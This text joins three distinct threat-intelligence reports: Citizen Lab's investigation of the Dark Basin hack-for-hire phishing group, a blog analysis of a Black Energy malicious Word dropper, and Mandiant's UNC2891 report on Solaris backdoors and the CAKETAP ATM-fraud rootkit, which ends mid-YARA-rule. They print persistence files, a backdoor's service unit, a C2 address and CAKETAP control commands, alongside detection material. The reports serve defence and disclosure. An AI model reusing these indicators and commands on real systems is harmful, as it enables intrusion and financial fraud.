to disguise the phishing links. We subsequently discovered that this shortener was part of a larger network of custom URL shorteners operated by a single group, which we call Dark Basin. Because the shorteners created URLs with sequential shortcodes, we were able to enumerate them and identify almost 28,000 additional URLs containing email addresses of targets. We used open-source intelligence techniques to identify hundreds of targeted individuals and organizations. We later contacted a substantial fraction of them, assembling a global picture of Dark Basin’s targeting. Our investigation yielded several clusters of interest that we will describe in this report, including two clusters of advocacy organizations in the United States working on climate change and net neutrality. While we initially thought that Dark Basin might be state-sponsored, the range of targets soon made it clear that Dark Basin was likely a hack-for-hire operation. Dark Basin’s targets were often on only one side of a contested legal proceeding, advocacy issue, or business deal. ## Research Collaborations & Official Notification Dark Basin has targeted dozens of journalists in multiple countries. Citizen Lab has notified and worked with some of these journalists over the past three years to assist them in investigating this case. In addition, Citizen Lab has mutually shared indicators and technical information with researchers at cybersecurity company NortonLifeLock, who have been conducting a parallel investigation into Dark Basin, which they refer to as “Mercenary.Amanda.” Many targets have also cooperated and assisted our investigation. At the request of multiple targets, Citizen Lab shared materials relevant to their targeting with the US DOJ. ## Links to an Indian Operator We link Dark Basin’s activity with high confidence to individuals working at an Indian company named BellTroX InfoTech Services (also known as “BellTroX D|G|TAL Security,” and possibly other names). BellTroX’s director, Sumit Gupta, was indicted in California in 2015 for his role in a similar hack-for-hire scheme. ## Links to India Timestamps in hundreds of Dark Basin phishing emails are consistent with working hours in India’s UTC+5:30 time zone. The same timing correlations were found by the Electronic Frontier Foundation (EFF) in a prior investigation of phishing messages targeting net neutrality advocacy groups, which we also link to Dark Basin. Several of Dark Basin’s URL shortening services had names associated with India: Holi, Rongali, and Pochanchi. Holi is a well-known Hindu celebration also known as the “festival of colours,” Rongali is one of the three Assamese festivals of Bihu, and Pochanchi is likely a transliteration of the Bengali word for “fifty-five.” Additionally, Dark Basin left copies of their phishing kit source code available openly online, as well as log files showing testing activity. The logging code invoked by the phishing kit recorded timestamps in UTC+5:30, and log files show that Dark Basin appeared to conduct some testing using an IP address in India. ## Links to BellTroX Along with our collaborators at NortonLifeLock, we have unearthed numerous technical links between the campaigns described in this report and individuals associated with BellTroX. These links lead us to conclude with high confidence that Dark Basin is linked to BellTroX. We were able to identify several BellTroX employees whose activities overlapped with Dark Basin because they used personal documents, including a CV, as bait content when testing their URL shorteners. They also made social media posts describing and taking credit for attack techniques containing screenshots of links to Dark Basin infrastructure. BellTroX and its employees appear to use euphemisms for promoting their services online, including “Ethical Hacking” and “Certified Ethical Hacker.” BellTroX’s slogan is: “you desire, we do!” On Sunday, June 7th 2020, we observed that the BellTroX website began serving an error message. We have also observed that postings and other materials linking BellTroX to these operations have been recently deleted. ## Dark Basin’s Connections to Private Investigators We have observed Dark Basin’s activities over several years, including the social media activities and posts of individuals working at BellTroX. Some of the individuals listed on LinkedIn as working for BellTroX mention activities that indicate hacking capabilities. BellTroX staff activities listed on LinkedIn include: - Email Penetration - Exploitation - Corporate Espionage - Phone Pinger - Conducting Cyber Intelligence Operation BellTroX’s LinkedIn pages, and those of their employees, have received hundreds of endorsements from individuals working in various fields of corporate intelligence and private investigation. Despite a previous DOJ indictment of the BellTroX Director, as well as indictments in other hack-for-hire cases, the companies that provide these services publicly promote their activities. This suggests that companies and their clients do not expect to face legal consequences and that the use of hack-for-hire firms may be standard practice within the private investigations industry. ## Targeting American Nonprofits, Journalists Dark Basin has a remarkable portfolio of targets, from senior government officials and candidates in multiple countries, to financial services firms such as hedge funds and banks, to pharmaceutical companies. Troublingly, Dark Basin has extensively targeted American advocacy organizations working on domestic and global issues. These targets include climate advocacy organizations and net neutrality campaigners. ### Targeting American Environmental Organizations We discovered a large cluster of targeted individuals and organizations that were engaged in environmental issues in the US. In the fall of 2017, Citizen Lab made contact with these groups and began working with them to determine the nature and scope of the targeting. We determined that these organizations were all linked to the #ExxonKnew campaign, which highlights documents that, the advocacy organizations argue, point to Exxon’s decades-long knowledge of climate change. According to the New York Times, the #ExxonKnew campaign has led to “exposés of the company’s research into climate change, including actions it took to incorporate climate projections into its exploration plans while playing down the threat.” The New York Times describes an intense legal battle between ExxonMobil, multiple states’ attorneys general, and organizations engaged in the #ExxonKnew campaign. Targeted organizations consenting to be named in this report include: At their request, we are not naming all targets within this cluster. We provided the targets with search queries to find Dark Basin emails and instructed them on how to use these queries to gather emails from their inboxes. While this methodology cannot generate a comprehensive set of all Dark Basin phishing attempts, it provided retrospective data that helped us correlate the timing of phishing emails with key events in the #ExxonKnew campaign. We identified these key events with the assistance of targeted organizations, as well as a timeline released by ExxonMobil. We noted that targeting increased around certain key events. ### A Stolen Email? In January 2016, a group of environmental organizations and funders met privately to discuss the #ExxonKnew campaign. A private email inviting campaigners to the January meeting (the “January Email”) was subsequently leaked by unknown parties to two newspapers. The January Email was quoted in a story entitled “Exxon Fires Back at Climate-Change Probe” on April 13, 2016, in the Wall Street Journal, and a day later a picture of a printout of the January Email was published in the Free Beacon. After a reporter queried the attendees about the secret meeting in March 2016, we found no further phishing emails until the New York Attorney General made a filing alleging evidence of “potential materially false and misleading statements by Exxon” in June 2017. Targeting also spiked again shortly before New York City filed a lawsuit against ExxonMobil in January 2018. The leak of the January 2016 Email, as well as suspicious emails noticed by campaigners, led some present at the meeting to suspect their private communications may have been compromised. We later determined that all but two recipients of the leaked January Email were also Dark Basin targets. We also note multiple other instances of internal documentation related to individuals publicly connected to these campaign issues appearing in the press. ### Well-Informed Targeting Dark Basin sent phishing emails to targets’ personal and institutional email accounts. They targeted individuals involved in the #ExxonKnew campaign, as well as #ExxonKnew campaigners’ family members. In at least one case, a target’s minor child was among those targeted with phishing. We believe this “off-center” targeting further indicates both the well-informed nature of the targeting and an intelligence gathering objective. Much of the phishing against these individuals referenced targets’ work on ExxonMobil and climate change. Notably, multiple phishing messages seemed to reference unspecified confidential documents concerning ExxonMobil. A number of these messages impersonated individuals involved in the #ExxonKnew advocacy campaign or individuals involved in litigation against ExxonMobil, such as legal counsel. Other ruses included fake Twitter direct messages and other correspondence purporting to concern climate change advocacy. Dark Basin also regularly employed more generic phishing emails using the same infrastructure. We observed a similar mix of topic-specific and generic attempts by Dark Basin against targets in other clusters, such as targeted hedge funds. Dark Basin also regularly made use of third-party link tracking services in their messages. ### Evidence of Compromise In at least one case, Dark Basin repurposed a stolen internal email to re-target other individuals. This incident led us to conclude that Dark Basin had some success in gaining access to the email accounts of one or more advocacy groups. ## Who Was the Client? Dark Basin’s targeting revealed a highly detailed and accurate understanding of their targets and their relationships. Not only did phishing emails come from accounts masquerading as targets’ colleagues and friends, but the individuals that Dark Basin chose to target showed that it had a deep knowledge of informal organizational hierarchies (e.g., masquerading as individuals with greater authority than the target). Some of this knowledge would likely have been hard to obtain from an open-source investigation alone. Combined with the bait content, which was regularly tailored to the #ExxonKnew campaign, we concluded that Dark Basin operators were likely provided with detailed instructions not only about whom to target, but what kinds of messages specific targets might be responsive to. While our research concluded with high confidence that Dark Basin was responsible for transmitting these phishing attempts, we do not have strong evidence pointing to the party commissioning them and we are not conclusively attributing Dark Basin’s phishing campaign against these organizations to a particular Dark Basin client at this time. That said, the extensive targeting of American nonprofits exercising their first amendment rights is exceptionally troubling. ## More US Civil Society Targets At least two American advocacy groups were targeted by Dark Basin during a period in which they were engaged in sustained advocacy requesting that the Federal Communications Commission (FCC) preserve net neutrality rules in the US. EFF published a report on this targeting in 2017, observing that US non-governmental organizations Fight for the Future and Free Press were targeted between July 7 and August 8, 2017. We also observed targeting of additional US civil society groups which will be discussed in future reporting. ## US Media Outlets In addition to the targeting of civil society, we found that journalists from multiple major US media outlets were also targeted. Targets included journalists investigating topics related to the advocacy organizations mentioned above, as well as multiple business reporters. ## Industry Targets Dark Basin’s targeting was widespread and implicated multiple industries. In the sample of the targeting collected by Citizen Lab, we found that the financial sector was the most targeted. The following section briefly outlines several industry verticals of particular interest. ### Hedge Funds, Short Sellers, Financial Journalists The most prominent targeting of the financial sector concerned a cluster of hedge funds, short sellers, journalists, and investigators working on topics related to market manipulation at German payment processor Wirecard AG. We note that the offices of Wirecard AG were searched on Friday, June 5, 2020, by German police in connection with a criminal investigation against certain executive board members launched by Munich prosecutors. After extensive work with targeted organizations and individuals surrounding the Wirecard AG case, we concluded the unifying thread behind this targeting was its aim at individuals who held short positions in Wirecard AG around the time of the targeting and financial reporters covering the Wirecard AG case. Some individuals were targeted almost daily for months and continued to receive messages for years. Private emails from multiple journalists, short sellers, and hedge funds were made public as part of a “leaks” website and campaign, which included a PDF circulated via online posts to various forums. The campaign took its name from Zatarra, then a company operated by several of the targets. As shown, the document draws heavily on excerpts of correspondence between journalists and their sources. The targets have said that these emails were misleadingly presented and edited before being posted on the website. We believe that, while the documents may have been based on emails obtained by Dark Basin through phishing, a second entity may have undertaken the work of compiling and presenting these documents on the website, given the sophistication of the writing, use of investigative jargon, and techniques such as detailed organizational charts. ### Global Banking and Financial Services Several international banks and investment firms, as well as prominent corporate law firms in the United States, Asia, and Europe, were targets. We also found a number of companies involved in offshore banking and finance were also targeted. ### Legal Services Lawyers were heavily represented in Dark Basin targeting. We found targeted individuals in many major US and global law firms. Lawyers working on corporate litigation and financial services were disproportionately represented, with targets in many countries including the US, UK, Israel, France, Belgium, Norway, Switzerland, Iceland, Kenya, and Nigeria. ### The Energy Sector We identified targets in multiple energy and extractive sectors, including petroleum companies. Targets ranged from lawyers and staff to CEOs and executives. In some cases, we observed large swaths of the energy and extractive industry targeted in a particular country, ranging from oilfield services companies and energy companies to prominent industry figures and officials at relevant government offices. ### Eastern and Central Europe, Russia We identified a range of targets in Eastern and Central Europe, and Russia, indicative of targeting surrounding the investments and actions of extremely wealthy individuals, including cases surrounding individuals who could be considered oligarchs. ### Government We identified targets in multiple governments, ranging from senior elected officials and their staff to members of the judiciary, prosecutors, members of parliament, and political parties. In a number of cases, we were able to connect this targeting to specific issues. We identified at least one individual who ran for elected office in the US. We anticipate providing future reporting on these cases. ### Personal Disputes Many of Dark Basin’s targets were high profile, well-resourced individuals. However, we also found that private individuals were also targeted, which appeared to correlate with divorces or other legal matters. ## Tactics, Techniques, and Procedures Over the course of our investigation, we found Dark Basin regularly adapting techniques, possibly in response to disruptions from email providers filtering their phishing attempts. What follows is a brief overview of these techniques. ### Phishing Emails Dark Basin sent phishing emails from a range of accounts, including Gmail accounts as well as self-hosted accounts. Sophistication of the bait content, specificity to the target, message volume, and persistence across time varied widely between clusters. It appears that Dark Basin’s customers may receive varying qualities of service and personal attention, possibly based on payment, or relationships with specific intermediaries. ### URL Shorteners The use of URL shorteners for masking phishing sites is a common technique. Over a sixteen-month period, we enumerated 28 unique URL shortener services operated by Dark Basin. The malicious URL shorteners used in this campaign typically ran an open-source URL shortening software called Phurl. We analyzed the code and found that Phurl generated sequential shortcodes making it trivial for us to enumerate the URL shorteners. ### Enumeration We tracked these 28 URL shorteners nearly continuously using a Python script. Overall, our enumeration of these shorteners uncovered 27,591 different long URLs, each of which led to a Dark Basin credential phishing website. This campaign operated at a scale we had not previously detected in our research into targeted intrusion operations (versus generic phishing operations). Often, the email address of the target was included in the URL. ### Credential Phishing Websites The malicious links we discovered during our tracking each led to credential phishing sites, i.e., websites designed to look identical to popular online web services such as Google Mail, Yahoo Mail, Facebook, and others. In addition, Dark Basin operators had created phishing websites which copied the look and feel of specific web services used or operated by the target or their organization. ### Phishing Kit In several cases, Dark Basin left the source code of their phishing kit openly accessible. The source code included references to log files, which were also publicly accessible. The log files recorded every interaction with the credential phishing website, including testing activity carried out by Dark Basin operators. The source code also contained several scripts that processed details including usernames and passwords entered by victims, as well as the victims’ IP address. These details were both emailed to a Gmail address controlled by Dark Basin and recorded in one or more log files on the web server itself. Several of the scripts recorded these details with a timestamp in India’s UTC+5:30 (IST) timezone. ### Testing the Phish In reviewing log files left openly available on several of the active phishing servers, we observed Dark Basin operators testing their phishing links and credential theft kits. We observed numerous occurrences where both real target email addresses and obviously fake email addresses were entered into the phishing pages using the password ‘test’, ostensibly to simulate or test the functionality of the phishing page. The IP addresses which were logged by the phishing kit for these test entries were typically from anonymizing VPN services, but sometimes the logs showed that the test had been conducted using an IP address associated with an Indian broadband provider. ### Success Rates It is clear that Dark Basin operators were successful with at least some of their phishing campaigns. In cases observed by targets, Dark Basin was observed using commodity VPNs to access accounts using stolen credentials. We also found that logs from some phishing kits were publicly accessible. After reviewing these logs and working with targets, we concluded that Dark Basin’s deceptions, while individually not always effective, did achieve some account access in part because the group could be extremely persistent. For example, we found that some “high value” targets were sent more than one hundred phishing attempts with very diverse content. Some failure to recognize attempted phishing is to be expected when an entire organization or network of individuals working together on a shared advocacy goal is targeted by such a persistent adversary. Dark Basin’s reliance on a rarely seen URL shortener software, continued reuse of the same registration identities and hosting providers for their infrastructure, and the uniqueness of their phishing kit all contributed to our ability to track them continuously during these campaigns. Perhaps most important however was the additional visibility provided by working closely with the targeted individuals and organizations. This view into the persistent attempts to compromise the targets greatly amplified our ability to follow breadcrumbs left by Dark Basin operators. ## Mercenary Intrusion: A Global Problem Dark Basin’s thousands of targets illustrate that hack-for-hire is a serious problem for all sectors of society, from politics, advocacy and government to global commerce. Many of Dark Basin’s targets have a strong but unconfirmed sense that the targeting is linked to a dispute or conflict with a particular party whom they know. However, absent a systematic investigation, it is difficult for most individuals to determine with certainty who undertakes these phishing campaigns and/or who may be contracting for such services, especially given that Dark Basin’s employees or executives are unlikely to be within the jurisdiction of their local law enforcement. Further, while many of the targets whom we contacted had a sense they were being phished in a targeted operation, many others did not share this awareness. These targets either concluded that they were being phished for an unknown reason, or simply did not notice the targeting against the background of unrelated phishing messages and spam. We believe there is an important role for major online platforms who have the capacity to track and monitor groups like Dark Basin. We hope Google and others will continue to track and report such hack-for-hire operations. We also encourage online platforms to be proactive in notifying users that have been targeted by such groups, such as providing detailed warnings beyond generic notifications to help enable targets to recognize the seriousness of the threat and take appropriate action. ## Hacking for Hire Dark Basin’s activities make it clear that there is a large and likely growing hack-for-hire industry. Hack-for-hire groups enable companies to outsource activities like those described in this report, which muddies the waters and can hamper legal investigations. Previous court cases indicate that similar operations to BellTroX have contracted through a murky set of contractual, payment, and information sharing layers that may include law firms and private investigators and which allow clients a degree of deniability and distance. The growth of a hack-for-hire industry may be fueled by the increasing normalization of other forms of commercialized cyber offensive activity, from digital surveillance to “hacking back,” whether marketed to private individuals, governments or the private sector. Further, the growth of private intelligence firms, and the ubiquity of technology, may also be fueling an increasing demand for the types of services offered by BellTroX. At the same time, the growth of the private investigations industry may be contributing to making such cyber services more widely available and perceived as acceptable. ## A Clear Danger to Democracy The rise of large-scale, commercialized hacking threatens civil society. As this report shows, it can be used as a tool of the powerful to target organizations that may not have sophisticated cybersecurity resources and consequently are vulnerable to such attacks. For example, in a four-year study, we concluded that digital threats undermined civil society organizations’ core communications and missions in a significant way, sometimes as a nuisance or resource drain, or more seriously as a major risk to individual safety. Citizen Lab has also previously researched and documented the harms of phishing campaigns against civil society around the globe. We believe it is especially urgent that all parties involved in these phishing campaigns are held fully accountable. For this reason, and on the request of multiple targets of Dark Basin, Citizen Lab provided indicators and other materials to the US DOJ. ## Acknowledgements We thank the many targets that have helped us during the past three years. Without your diligence and effort this investigation would not have been possible. We have special gratitude for the journalists and media outlets for their patience. We also personally thank several targets in particular for incredible efforts to help us identify malicious messages and investigate this case: Matthew Earl of ShadowFall, Kert Davies of the Climate Investigations Center, and Lee Wasserman of the Rockefeller Family Fund. We thank our colleagues at NortonLifeLock for their hard work. The sheer scale of activities like Dark Basin makes collaboration essential. We thank those that have requested to not be named, including TNG. You know who you are, and your hard work inspires us. Special thanks to Citizen Lab colleagues, especially Adam Senft, Miles Kenyon, Mari Zhou, and Masashi Crete-Nishihata. Many thanks to Peter Tanchak. Thanks to The Electronic Frontier Foundation, especially Eva Galperin and Cooper Quintin.
# Black Energy – Analysis So today I wanted to do a blog post on Black Energy. The sample I will be working with was sourced from hybrid analysis. This particular piece of malware was used to target the networks used to control power grids and has been associated with the Sandworm Team, who used it to also target organizations in Ukraine. According to Mitre, the Sandworm Team is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. Sandworm Team targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. Sandworm Team has been linked to the Ukrainian energy sector attack in late 2015. So now that we have a little background, let's start our analysis. When you initially open up the document, you are greeted with this. I don’t speak Russian, but I’m pretty sure this is telling the user to view this document you need to enable the content. So let's do it and see what we can get. I’m going to use my usual setup of RegShot/Procmon and Process Hacker with my Windows VM pointing to my Remnux VM where I will have fakedns, inetsim, and Wireshark running. After taking a quick look, it looks like we have a .lnk file being dropped into the Startup folder, which is a pretty common persistence technique used by malware. Inside the .lnk file, the target is: `%windir%\System32\rundll32.exe "C:\Users\IEUser\AppData\Local\FONTCACHE.DAT",#1`. We also have multiple other processes being kicked off by the Word document, one of which is `vba_macro.exe` that runs and deletes itself. After looking at Wireshark, we also have a network connection going to `5[.]149[.]254[.]114//Microsoft/Update/KC074913[.]php` and sending back some base64 to the server. The base64 will decode to this: ``` b_id=MSEDGEWIN10_320E10D4F923CEC8B1A11E4A1DB9950D&b_gen=301018stb&b_ver=2.3&os_v=17134&os_type=1 ``` Which is the malware fingerprinting the host OS versions. I also want to cover a quick way for you to dump `vba_macro.exe` before it runs and deletes itself. So on the Word document, click `alt+F11` or on Mac `option+F11`, this will bring up the Visual Basic window showing the macros. At the very beginning, you see array after array of numbers, which appears to possibly be machine code. If you scroll down to the bottom, you will see the meat of what’s happening. It is looping over the arrays and writing it to a file called `vba_macro`. So we will put a breakpoint right after the loop ends and then run the macros to dump the file, which we will then move to the desktop. As I started analyzing `vba_macro`, I loaded it into IDA to get a look at the imports and strings. I noticed most of the imports had no xrefs, which puzzled me for a while. I think a lot of the imports are in there to send the analyst down rabbit holes. So I loaded `vba_macro` up in x32dbg and set breakpoints on some Native API functions like `NtWriteFile`, `NtOpenProcess`, etc. I did this because I remember reading that malware will sometimes use these lower-level APIs to avoid detection. I then started running it to see what I could find. So here is a call to `NtWriteFile` where it looks like it is creating the .lnk file. And here is a call to `ShellExecuteW` opening the .lnk file. So to sum things up, a quick down and dirty of my interpretation of what this malware is doing: 1. Word document macros run which drop `vba_macro` to disk. 2. `vba_macro` creates the .lnk and `fontcache.dat` and runs the .lnk file which in turn runs `fontcache.dat` with `rundll32`, which provides the network connectivity to the above address we talked about. 3. `vba_macro` also kicks off a `cmd.exe` which is continually running `PING.exe` and `attrib.exe`. So thank you for reading, and hope this has helped someone to learn something new. Until next time… Happy hunting, Marcus
# Have Your Cake and Eat it Too? An Overview of UNC2891 The Mandiant Advanced Practices team previously published a threat research blog post that provided an overview of UNC1945 operations where the actor compromised managed services providers to gain access to targets in the financial and professional consulting industries. Since that time, Mandiant has investigated and attributed several intrusions to a threat cluster we believe has a nexus to this actor, currently being tracked as UNC2891. Through these investigations, Mandiant has discovered additional techniques, malware, and utilities being used by UNC2891 alongside those previously observed in use by UNC1945. Despite having identified significant overlaps between these threat clusters, Mandiant has not determined they are attributable to the same actor. UNC2891 intrusions appear to be financially motivated and in some cases spanned several years through which the actor had remained largely undetected. UNC2891 demonstrated fluency and expertise in Unix and Linux environments, mostly through the targeting of Oracle Solaris based systems with TINYSHELL and SLAPSTICK backdoors. Mandiant observed UNC2891 operate with a high degree of OPSEC and leverage both public and private malware, utilities, and scripts to remove evidence and hinder response efforts. Mandiant discovered a previously unknown rootkit for Oracle Solaris systems that UNC2891 used to remain hidden in victim networks, named CAKETAP. One variant of CAKETAP manipulated messages transiting a victim's Automatic Teller Machine (ATM) switching network. It is believed this was leveraged as part of a larger operation to perform unauthorized cash withdrawals at several banks using fraudulent bank cards. ## Extensive Use of SLAPSTICK and TINYSHELL Backdoors Like past UNC1945 intrusions, Mandiant observed UNC2891 make extensive use of the Pluggable Authentication Module (PAM) based backdoor we track as SLAPSTICK to aid with credential harvesting and to provide backdoor access to compromised machines in victim networks. SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded magical password, and it also logs authentication attempts and corresponding passwords in an encrypted log file. Although this is expected to have tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant Incident Responders. Although SLAPSTICK log files were often timestomped, Mandiant was able to decode them and trace some of the actor’s lateral movement activities through the usage of the backdoor provided magical password. Alongside SLAPSTICK, UNC2891 often installed a custom variant of the publicly available TINYSHELL backdoor. UNC2891 TINYSHELL backdoors leveraged an external encrypted configuration file and some variants included additional functionality, such as the ability to communicate via an HTTP proxy with basic authentication. In line with the group’s familiarity with Unix and Linux based systems, UNC2891 often named and configured their TINYSHELL backdoors with values that masqueraded as legitimate services that might be overlooked by investigators, such as systemd (SYSTEMD), name service cache daemon (NCSD), and the Linux at daemon (ATD). ### Observed TINYSHELL File Paths **TINYSHELL Backdoor File Paths** - /usr/lib/libhelpx.so.1 - /usr/lib/systemd/systemd-helper - /usr/sbin/nscd **TINYSHELL Configuration File Paths** - /usr/lib/libatdcf.so - /usr/lib/libnscd.so.1 - /usr/lib/libsystemdcf.so - /var/ntp/ntpstats/1 ### Example Decoded TINYSHELL Configuration (systemd variant) **Example Decoded Configuration** - pm_systemd_mag <32-character string> - systemd_nme <system id> - pm_systemd_adr <C2 IP address/domain> - pm_systemd_prt <443 or 53> - pm_systemd_tme 300 - systemd_non1 none - systemd_non2 none - systemd_non3 none - systemd_non4 none In the case of the systemd variant, UNC2891 also leveraged systemd service unit files for persistence of the TINYSHELL backdoor. ### Service Unit File Used for TINYSHELL Persistence **Service Unit File** ``` /usr/lib/systemd/system/systemd-helper.service [Unit] Description=Rebuild Hardware Database [Service] Type=forking ExecStart=/lib/systemd/systemd-helper [Install] WantedBy=multi-user.target ``` Based on analyzed configurations, UNC2891 had configured TINYSHELL backdoors in a multi-hop structure that leveraged several compromised internal servers for command and control. In one case, Mandiant found evidence that suggests the actor had chained different TINYSHELL variants together to obtain remote access to a server inside a network segment with network restrictions. To keep their network of TINYSHELL connections hidden, UNC2891 had installed and configured a rootkit to filter out these connections from network connection related APIs. UNC2891 configured remotely accessible systems with TINYSHELL backdoors that used dynamic DNS domains for their external command and control channel. These domains were created per-host and were not used more than once; the subdomains sometimes resembled the hostname of the compromised machine. Mandiant was unable to collect passive DNS data for these dynamic DNS domains, suggesting that UNC2891 had likely enabled IP resolution for short periods of time when access to the network was required. At one victim, these TINYSHELL backdoors were configured to perform communications using TCP over port 53 and 443, likely as a mechanism to bypass outbound network protections, blend in with existing traffic, and evade detection. ## STEELHOUND, STEELCORGI and Environment Variable Keying UNC2891 often made use of the STEELCORGI in-memory dropper which decrypts its embedded payloads by deriving a ChaCha20 key from the value of an environment variable obtained at runtime. In many cases, Mandiant was unable to recover the requisite environment variables to decrypt the embedded payloads. However, in the limited samples we were able to decrypt, UNC2891 had deployed different versions of an extensive toolkit which appears to be developed under the name SUN4ME. SUN4ME contains tools for network reconnaissance, host enumeration, exploitation of known vulnerabilities, log wiping, file operations, as well as common shell utilities. Mandiant discovered UNC2891 leveraging a similar in-memory dropper that also used environment variables to decrypt its embedded payload but instead relied on RC4 encryption, named STEELHOUND. In addition to functioning as a dropper for an embedded payload, STEELHOUND is also able to encrypt new payloads by encrypting a target binary and writing it to disk along with a copy of itself and an end-of-file configuration. ## WINGHOOK and WINGCRACK During these investigations, Mandiant also discovered a family of keylogger malware named WINGHOOK and WINGCRACK. - **WINGHOOK** is a keylogger for Linux and Unix based operating systems. It is packaged as a shared library (SO file) that hooks the read and fgets functions, which are two common functions used for processing user input. The captured data is stored in an encoded format in the directory /var/tmp/ with a filename that begins with .zmanDw. - **WINGCRACK** is a utility that can decode and display the content of files containing encoded keylog data from WINGHOOK. The malware author appears to refer to these encoded files as “schwing” files. ## Utilities Observed Mandiant previously observed UNC1945 use a large amount of different public and private tools during their intrusions, and this was also true for UNC2891. Mandiant discovered additional utilities that were leveraged by UNC2891: - **BINBASH** is a simple ELF utility that executes a shell after setting the group ID and user ID to either "root" or specified values. BINBASH appears to be a compilation of the source code. - **WIPERIGHT** is an ELF utility that clears specific log entries on Linux and Unix based systems. It can remove entries associated with a given user in the lastlog, utmp/utmpx, wtmp/wtmpx, and pacct logs. It appears to have originated from available source code, and possibly a more recent version. - **MIGLOGCLEANER** is another ELF utility that wipes logs or removes certain strings from logs on Linux and Unix based systems. It is publicly available on GitHub. Whilst seemingly uncommon amongst threat actors, UNC2891 frequently used the uuencoding scheme to encode and decode files, such as malware binaries or files containing output from extensive host enumeration scripts. The actor often leveraged simple Perl wrapper scripts that performed uuencoding and uudecoding functions. ## CAKETAP CAKETAP is a kernel module rootkit that UNC2891 deployed on key server infrastructure running Oracle Solaris. CAKETAP can hide network connections, processes, and files. During initialization, it removes itself from the loaded modules list and updates the last_module_id with the previously loaded module to hide its presence. A hook is installed into the function ipcl_get_next_conn, as well as several functions in the ip module. This enables CAKETAP to filter out any connections that match an actor-configured IP address or port (local or remote). One way to identify CAKETAP running on a Solaris system is to check for the presence of this hook. The following shows an example command to identify a hooked ipcl_get_next_conn function (Note: The mdb command may require special permissions on the system): ``` root@solaris:~# echo 'ipcl_get_next_conn::dis -n 0 ; ::quit' | mdb -k ``` The output in a clean SPARC Solaris system would look similar to the following: ``` ipcl_get_next_conn: save %sp, -0xb0, %sp ``` A hooked function would begin with the sethi instruction as follows (the constant 0x11971c00 will change from instance to instance depending on where CAKETAP is loaded): ``` ipcl_get_next_conn: sethi %hi(0x11971c00), %g1 ``` Additional hooks are installed into the mkdirat (make directory at) and getdents64 (get directory entries) system calls. CAKETAP uses the mkdirat hook to receive commands from paths containing the signal string. Commands include configuring network filters, displaying or updating its configuration, and un-hiding itself. The getdents64 hook enables CAKETAP to hide files or directories on the file system containing the secret signal string. ### Observed Secrets for CAKETAP Hooks | Secret | Usage | |---------------------|--------------------------------| | .caahGss187 | mkdirat hook signal string | | .zaahGss187 | getdents64 hook signal string | The mkdirat hook enabled UNC2891 to control and configure CAKETAP through existing backdoor access to compromised servers by issuing shell commands that leverage these system calls (e.g., mkdir for mkdirat). A single character appended to the signal string indicated which command was to be executed. ### Observed CAKETAP Commands | Command | Function | |---------|-----------------------------------------------------------------| | Empty | Add the CAKETAP module back to loaded modules list | | M | Change the signal string for the getdents64 hook | | I | Add a network filter (format <IP>p<PORT>) | | i | Remove a network filter | | P | Set the current thread TTY to not be filtered by the getdents64 hook | | p | Set all TTYs to be filtered by the getdents64 hook | | S | Displays the current configuration | For example, to configure a new network filter and display the current configuration, the following commands might be used: ``` mkdir /some/path/.caahGss187I192.168.1.10p80 # Add network filter for 192.168.1.10:80 mkdir /some/path/.caahGss187S # Display current configuration ``` The hook installed into getdents64 filtered output to hide the presence of the signal string in directory contents. Mandiant observed UNC2891 load CAKETAP with the module name ipstat from attacker-created directories that often resided somewhere inside the /var directory tree. ### CAKETAP Unauthorized Transactions Memory forensics from one victim’s ATM switch server revealed a variant of CAKETAP with additional network hooking functionality that intercepted specific messages relating to card and PIN verification. Evidence suggests that this variant of CAKETAP was used as part of an operation to perform unauthorized transactions using fraudulent bank cards. This CAKETAP variant targeted specific messages destined for the Payment Hardware Security Module (HSM). This additional network hooking performed several functions: 1. **Manipulation of card verification messages:** CAKETAP altered the mode of certain outgoing messages to disable card verification. This resulted in the HSM not performing the proper card verification and instead generating a valid response. Fraudulent bank cards generated verification messages using a custom algorithm using the Primary Account Number (PAN) and other parameters which served as a “marker” for CAKETAP. CAKETAP examined outgoing messages and if it matched the algorithm, CAKETAP identified the card as fraudulent and stored the PAN in memory to use in the following step. 2. **Replay of PIN verification messages:** CAKETAP examined outgoing PIN verification messages that matched certain conditions and identified those with a Primary Account Number (PAN) that reflected a fraudulent card. If the message was not for a fraudulent card, it would save the message internally and send it unmodified, as to not interrupt legitimate ATM PIN verifications. However, if it was for a fraudulent card, CAKETAP would instead replace the message content with data from a previously saved message. This was effectively a replay attack that resulted in a bypass of PIN verification for fraudulent cards. Based on Mandiant’s investigation findings, we believe that CAKETAP was leveraged by UNC2891 as part of a larger operation to successfully use fraudulent bank cards to perform unauthorized cash withdrawals from ATM terminals at several banks. ## Conclusion UNC2891 maintains a high level of OPSEC and employs several techniques to evade detection. The actor uses their skill and experience to take full advantage of the decreased visibility and security measures that are often present in Unix and Linux environments. Mandiant expects that UNC2891 will continue to capitalize on this and perform similar operations for financial gain that target mission-critical systems running these operating systems. While some of the overlaps between UNC2891 and UNC1945 are notable, it is not conclusive enough to attribute the intrusions to a single threat group. For example, it is possible that significant portions of UNC2891 and UNC1945 activity are carried out by an entity that is a common resource to multiple threat actors, which could explain the perceived difference in intrusion objectives—a common malware developer or an intrusion partner, for example. Regardless, Mandiant is releasing this information on the actor to raise awareness of the fraudulent activity and aid defenders in uncovering further UNC2891 operations. ## YARA The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify samples; however, they may need adjustment over time if the malware family changes. ### Rule TINYSHELL ``` rule TINYSHELL { meta: author = "Mandiant" strings: $sb1 = { C6 00 48 C6 4? ?? 49 C6 4? ?? 49 C6 4? ?? 4C C6 4? ?? 53 C6 4? ?? 45 C6 4? ?? 54 C6 4? ?? 3D C6 4? ?? 46 C6 4? ?? 00 } $sb2 = { C6 00 54 C6 4? ?? 4D C6 4? ?? 45 C6 4? ?? 3D C6 4? ?? 52 } $ss1 = "fork" ascii fullword wide $ss2 = "socket" ascii fullword wide $ss3 = "bind" ascii fullword wide $ss4 = "listen" ascii fullword wide $ss5 = "accept" ascii fullword wide $ss6 = "alarm" ascii fullword wide $ss7 = "shutdown" ascii fullword wide $ss8 = "creat" ascii fullword wide $ss9 = "write" ascii fullword wide $ss10 = "open" ascii fullword wide $ss11 = "read" ascii fullword wide $ss12 = "execl" ascii fullword 